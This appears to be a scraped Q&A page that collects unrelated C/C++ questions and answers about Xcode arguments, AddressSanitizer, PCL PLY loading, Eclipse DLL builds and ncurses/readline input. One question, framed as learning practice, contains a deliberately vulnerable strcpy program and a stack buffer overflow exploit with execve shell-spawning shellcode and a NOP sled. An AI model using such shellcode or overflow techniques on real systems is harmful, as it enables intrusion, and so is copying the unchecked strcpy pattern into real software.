Command Line Arguments in XCode - command-line

I'm trying to pass arguments in XCode and understand you need to add them from the Args tab, using the Get Info button, in the Executables of the Groups and Files pane. I'm trying to see if I can get it to work, but am having some difficulty. My program is simply:
#include <iostream>
#include <ostream>
using namespace std;
int main(int argc, char *argv[]) {
for (int i = 0; i < argc; i++) {
cout << argv[i];
}
return 0;
}
And in the Args tab, I have the number 2 and then in another line the number 1. I do not get any output when I run the program. What am I doing wrong? Thanks!

Your code works fine and it displays the arguments.
You may want to print a new line after each argument to make the output more readable:
cout << argv[i] << "\n";
Output is visible in the console (use Command+Shift+R to bring up the console).

Related

Asan don't report leak info

I write a simple c++ program that use new function and don't use delete function, then I use asan, but it not report.
#include <iostream>
#include <stdint.h>
using namespace std;
int main()
{
int *p = new int[50];
for (uint32_t i = 0; i < 50; ++i)
{
*(p + i ) = i;
}
cout << *p << endl;
return 0;
}
then ./g++ main.cpp -lasan -L/root/local/lib64/ -fsanitize=address -fno-omit-frame-pointer -g
and print 0, but not report delete leak . why ?
if I use export LD_PRELOAD=/usr/local/lib64/libasan.so.0.0.0, then ./g++ main.cpp
report
g++: internal compiler error: Segmentation fault (program collect2)
0x40c400 execute
../../gcc/gcc.c:2823
Please submit a full bug report,
with preprocessed source if appropriate.
Please include the complete backtrace with any bug report.
See <http://gcc.gnu.org/bugs.html> for instructions.
it look like collect2 core dump ,so I run cd libexec/gcc/x86_64-unknown-linux-gnu/4.8.5/ && ./colloct2, report Segmentation fault (core dumped)
I use source to install gcc-4.8.5, centos 6.
gcc-4_8-branch doesn't even contain libsanitizer/lsan/ directory. Please try more recent GCC versions. by https://github.com/google/sanitizers/issues/699

How to import .ply files using PCL io::loadPLYFile?

When importing a ply-file into my program I get an Error-message saying that something went wrong with the following message:
C:\Users\...\data\apple.ply:8: property 'list uint8 int32 vertex_indices' of element 'face' is not handled
I used a sample ply file from: https://people.sc.fsu.edu/~jburkardt/data/ply/apple.ply
I have already tried different ply files from different sources but none of them work. When debugging the program the io::loadPLYFile doesn't generate a valid pointcloud. Runtime Library for PCL and for my program are the same.
#include <iostream>
#include <pcl/io/pcd_io.h>
#include <pcl/io/ply_io.h>
#include <pcl/point_types.h>
#include <pcl/search/kdtree.h>
#include <pcl/features/normal_3d_omp.h>
#include <pcl/surface/marching_cubes_rbf.h>
using namespace pcl;
using namespace std;
int
main (int argc, char** argv)
{
PointCloud<PointXYZ>::Ptr cloud (new PointCloud<PointXYZ>);
std::cout << "Start Debug?" << std::endl;
std::cin.ignore();
if(io::loadPLYFile<PointXYZ> (argv[1], *cloud) == -1){
cout << "ERROR: couldn't find file" << endl;
return (1);
} else {
cout << "loaded" << endl;
NormalEstimationOMP<PointXYZ, Normal> ne;
search::KdTree<PointXYZ>::Ptr tree1 (new search::KdTree<PointXYZ>);
tree1->setInputCloud (cloud);
ne.setInputCloud (cloud);
ne.setSearchMethod (tree1);
ne.setKSearch (20);
PointCloud<Normal>::Ptr normals (new PointCloud<Normal>);
ne.compute (*normals);
I would expect the PCL function io::loadPLYFile to load the files properly as described in the documentation http://docs.pointclouds.org/1.3.1/group__io.html
the console output is just a warning as #kanstar already suggested! It can easily be ignored. The reason my program crashed in Debug but not in Release was that my Visual Studio linked to the wrong library version of boost which resulted in the crash. Fixing the linkage made the pcl::NormalEstimationOMP work as expected.

Eclipse EXPORT DLL before compile/build

I am using Eclipse Juno updated as two days ago, fresh install and installed C/C++ and linked MinGW into Windows (7 64-bit by the way). Everything works fine, i can build/compile "Hello World" and execute the file generated by eclipse.
Now i have three files,
main.cpp:
#include "functions.cpp"
#include <iostream>
using namespace std;
int main(int){
int a = mult(20,5);
cout << "Twenty times 5 is " << a;
cout << a << "Plus 2 is " << add2(a);
return 0;
}
functions.cpp:
#include "header.h"
int EXPORT add2(int num){
return num + 2;
}
int EXPORT mult(int num1, int num2){
int product;
product = num1 * num2;
return product;
}
header.h:
#ifndef HEADER_H_
#define HEADER_H_
#ifdef BUILD_DLL
#define EXPORT __declspec(dllexport)
#else
#define EXPORT __declspec(dllimport)
#endif
int EXPORT add2(int num);
int EXPORT mult(int num1, int num2);
#endif /* HEADER_H_ */
With this set up in the code i need a DLL file to be generated first and then used when building. If i place these files on my desktop for instance, i can /cd desktop and use this command:
g++ functions.cpp -o functions.dll -DBUILD_DLL -shared -Wl,--out-implib,libfunctions.dll.a
This creates a DLL file and also a .A File, one dynamic one static.
IN SHORT MY QUESTION:
Can i get Eclipse to make a DLL file from functions.cpp before it attempts to build my code into a .exe file? At this stage my code is looking for an DLL file to IMPORT.
I found out how to do this. It may not be the best option for this, however i was able to go to my project Properties-->C/C++ Build--->Settings--->Build Steps.
This seems to work however I am now trying to find a way to set the command to use the source directory of the project instead of me having to use C:/eclipse/workplace etc.

Basic buffer overflow practice

I've been practicing some basic stack-based buffer overflow task recently
and I wrote an vulnerable program like this:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc,char **argv)
{
if (argc<2) {
puts("Need enough args!!");
exit(0);
}
char buf[400];
strcpy(buf,argv[1]);
printf("Hi, %s\n",buf);
return 0;
}
and the exploit program like this:
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#define ATK_L 430
#define VUL_L 400
#define NOP_L 12
int main(){
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x89\xc1\x89\xc2\xb0\x0b"
"\xcd\x80\x31\xc0\x40\xcd\x80";
char *atk,vul[]="./vul1 ";
atk=(char*)malloc(sizeof(char)*ATK_L);
unsigned long i,ret,*ptr,ptr2;
ret=(unsigned long)atk;
ptr=(unsigned long*)atk;
for(i=0;i<ATK_L;i+=4){
*(ptr++)=ret;
}
for(i=0;i<NOP_L;i++){
atk[i]='\x90';
}
ptr2=0;
for(i=NOP_L;i<NOP_L+strlen(shellcode);i++){
atk[i]=shellcode[ptr2++];
}
atk[ATK_L-1]='\0';
strcat(vul,atk);
system(vul);
free(atk);
return 0;
}
Since I don't want to determine the offset , I just jump back to the beginning of the atk array . I turn off the ASLR & put the -fno-stack-protector flag when compiling , but when I run the exploit program it just say core dump and do nothing!! I use gdb to debug the exploit program and it said that it was killed in the getenv function and I just cant get understand.
I work on ubuntu 11.10 32bits
Thanks a lot :-)

ncurses and stdin blocking

I have stdin in a select() set and I want to take a string from stdin whenever the user types it and hits Enter.
But select is triggering stdin as ready to read before Enter is hit, and, in rare cases, before anything is typed at all. This hangs my program on getstr() until I hit Enter.
I tried setting nocbreak() and it's perfect really except that nothing gets echoed to the screen so I can't see what I'm typing. And setting echo() doesn't change that.
I also tried using timeout(0), but the results of that was even crazier and didn't work.
What you need to do is tho check if a character is available with the getch() function. If you use it in no-delay mode the method will not block. Then you need to eat up the characters until you encounter a '\n', appending each char to the resulting string as you go.
Alternatively - and the method I use - is to use the GNU readline library. It has support for non-blocking behavior, but documentation about that section is not so excellent.
Included here is a small example that you can use. It has a select loop, and uses the GNU readline library:
#include <stdio.h>
#include <readline/readline.h>
#include <readline/history.h>
#include <stdlib.h>
#include <stdbool.h>
int quit = false;
void rl_cb(char* line)
{
if (NULL==line) {
quit = true;
return;
}
if(strlen(line) > 0) add_history(line);
printf("You typed:\n%s\n", line);
free(line);
}
int main()
{
struct timeval to;
const char *prompt = "# ";
rl_callback_handler_install(prompt, (rl_vcpfunc_t*) &rl_cb);
to.tv_sec = 0;
to.tv_usec = 10000;
while(1){
if (quit) break;
select(1, NULL, NULL, NULL, &to);
rl_callback_read_char();
};
rl_callback_handler_remove();
return 0;
}
Compile with:
gcc -Wall rl.c -lreadline